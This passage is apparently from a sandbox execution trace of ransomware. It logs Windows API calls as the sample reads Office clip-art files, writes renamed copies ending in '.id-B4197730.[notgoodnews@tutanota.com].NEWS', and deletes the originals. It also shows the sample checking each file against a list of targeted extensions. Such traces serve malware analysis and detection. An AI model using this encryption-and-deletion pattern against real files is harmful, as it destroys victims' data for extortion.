lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] SetEndOfFile (hFile=0x354) returned 1 [0094.017] CloseHandle (hObject=0x354) returned 1 [0094.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0094.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.017] lstrlenW (lpString=".doc") returned 4 [0094.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString=".docx") returned 5 [0094.018] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0094.018] lstrlenW (lpString=".pdf") returned 4 [0094.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString=".xls") returned 4 [0094.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.018] lstrlenW (lpString=".xlsx") returned 5 [0094.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0094.018] lstrlenW (lpString=".ppt") returned 4 [0094.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString=".zip") returned 4 [0094.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.018] lstrlenW (lpString=".rar") returned 4 [0094.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString=".bz2") returned 4 [0094.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString=".7z") returned 3 [0094.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString=".dbf") returned 4 [0094.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString=".1cd") returned 4 [0094.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString=".jpg") returned 4 [0094.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.018] lstrlenW (lpString=".doc") returned 4 [0094.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.018] lstrlenW (lpString=".docx") returned 5 [0094.018] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0094.018] lstrlenW (lpString=".pdf") returned 4 [0094.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString=".xls") returned 4 [0094.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.019] lstrlenW (lpString=".xlsx") returned 5 [0094.019] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0094.019] lstrlenW (lpString=".ppt") returned 4 [0094.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.019] lstrlenW (lpString=".zip") returned 4 [0094.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.019] lstrlenW (lpString=".rar") returned 4 [0094.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString=".bz2") returned 4 [0094.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString=".7z") returned 3 [0094.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.019] lstrlenW (lpString=".dbf") returned 4 [0094.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.019] lstrlenW (lpString=".1cd") returned 4 [0094.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0094.019] lstrlenW (lpString=".jpg") returned 4 [0094.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.019] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.019] lstrlenW (lpString="J0105386.WMF") returned 12 [0094.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.020] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=5980) returned 1 [0094.020] CloseHandle (hObject=0x354) returned 1 [0094.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0094.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0094.021] GetLastError () returned 0x0 [0094.021] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x175c, lpOverlapped=0x0) returned 1 [0094.022] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1760, lpOverlapped=0x0) returned 1 [0094.023] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.023] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.023] SetEndOfFile (hFile=0x370) returned 1 [0094.023] CloseHandle (hObject=0x370) returned 1 [0094.023] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.024] SetEndOfFile (hFile=0x354) returned 1 [0094.024] CloseHandle (hObject=0x354) returned 1 [0094.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0094.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.025] lstrlenW (lpString=".doc") returned 4 [0094.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.025] lstrlenW (lpString=".docx") returned 5 [0094.025] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0094.025] lstrlenW (lpString=".pdf") returned 4 [0094.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.025] lstrlenW (lpString=".xls") returned 4 [0094.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.025] lstrlenW (lpString=".xlsx") returned 5 [0094.025] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0094.025] lstrlenW (lpString=".ppt") returned 4 [0094.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.025] lstrlenW (lpString=".zip") returned 4 [0094.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.025] lstrlenW (lpString=".rar") returned 4 [0094.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.025] lstrlenW (lpString=".bz2") returned 4 [0094.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.025] lstrlenW (lpString=".7z") returned 3 [0094.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.025] lstrlenW (lpString=".dbf") returned 4 [0094.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.026] lstrlenW (lpString=".1cd") returned 4 [0094.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.026] lstrlenW (lpString=".jpg") returned 4 [0094.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.026] lstrlenW (lpString=".doc") returned 4 [0094.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString=".docx") returned 5 [0094.026] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0094.026] lstrlenW (lpString=".pdf") returned 4 [0094.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString=".xls") returned 4 [0094.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.026] lstrlenW (lpString=".xlsx") returned 5 [0094.026] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0094.026] lstrlenW (lpString=".ppt") returned 4 [0094.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.026] lstrlenW (lpString=".zip") returned 4 [0094.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.026] lstrlenW (lpString=".rar") returned 4 [0094.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString=".bz2") returned 4 [0094.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.026] lstrlenW (lpString=".7z") returned 3 [0094.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.027] lstrlenW (lpString=".dbf") returned 4 [0094.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.027] lstrlenW (lpString=".1cd") returned 4 [0094.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0094.027] lstrlenW (lpString=".jpg") returned 4 [0094.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.027] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.027] lstrlenW (lpString="J0105388.WMF") returned 12 [0094.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.028] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8252) returned 1 [0094.028] CloseHandle (hObject=0x354) returned 1 [0094.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0094.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.028] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.028] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0094.029] GetLastError () returned 0x0 [0094.029] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x203c, lpOverlapped=0x0) returned 1 [0094.030] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2040, lpOverlapped=0x0) returned 1 [0094.031] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.031] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.031] SetEndOfFile (hFile=0x370) returned 1 [0094.031] CloseHandle (hObject=0x370) returned 1 [0094.031] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.032] SetEndOfFile (hFile=0x354) returned 1 [0094.032] CloseHandle (hObject=0x354) returned 1 [0094.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0094.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.033] lstrlenW (lpString=".doc") returned 4 [0094.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.033] lstrlenW (lpString=".docx") returned 5 [0094.033] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.033] lstrlenW (lpString=".pdf") returned 4 [0094.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.033] lstrlenW (lpString=".xls") returned 4 [0094.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.033] lstrlenW (lpString=".xlsx") returned 5 [0094.033] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.033] lstrlenW (lpString=".ppt") returned 4 [0094.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.033] lstrlenW (lpString=".zip") returned 4 [0094.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.034] lstrlenW (lpString=".rar") returned 4 [0094.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString=".bz2") returned 4 [0094.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString=".7z") returned 3 [0094.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString=".dbf") returned 4 [0094.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString=".1cd") returned 4 [0094.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString=".jpg") returned 4 [0094.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString=".doc") returned 4 [0094.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString=".docx") returned 5 [0094.034] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0094.034] lstrlenW (lpString=".pdf") returned 4 [0094.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString=".xls") returned 4 [0094.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.034] lstrlenW (lpString=".xlsx") returned 5 [0094.034] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0094.034] lstrlenW (lpString=".ppt") returned 4 [0094.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.034] lstrlenW (lpString=".zip") returned 4 [0094.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.034] lstrlenW (lpString=".rar") returned 4 [0094.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.035] lstrlenW (lpString=".bz2") returned 4 [0094.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.035] lstrlenW (lpString=".7z") returned 3 [0094.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.035] lstrlenW (lpString=".dbf") returned 4 [0094.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.035] lstrlenW (lpString=".1cd") returned 4 [0094.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0094.035] lstrlenW (lpString=".jpg") returned 4 [0094.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.035] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.035] lstrlenW (lpString="J0105390.WMF") returned 12 [0094.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.035] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4944) returned 1 [0094.036] CloseHandle (hObject=0x354) returned 1 [0094.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0094.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.036] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.036] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0094.036] GetLastError () returned 0x0 [0094.036] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1350, lpOverlapped=0x0) returned 1 [0094.038] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1360, lpOverlapped=0x0) returned 1 [0094.039] ReadFile (in: hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.039] WriteFile (in: hFile=0x370, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0094.039] SetEndOfFile (hFile=0x370) returned 1 [0094.039] CloseHandle (hObject=0x370) returned 1 [0094.039] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.039] SetEndOfFile (hFile=0x354) returned 1 [0094.040] CloseHandle (hObject=0x354) returned 1 [0094.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0094.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft 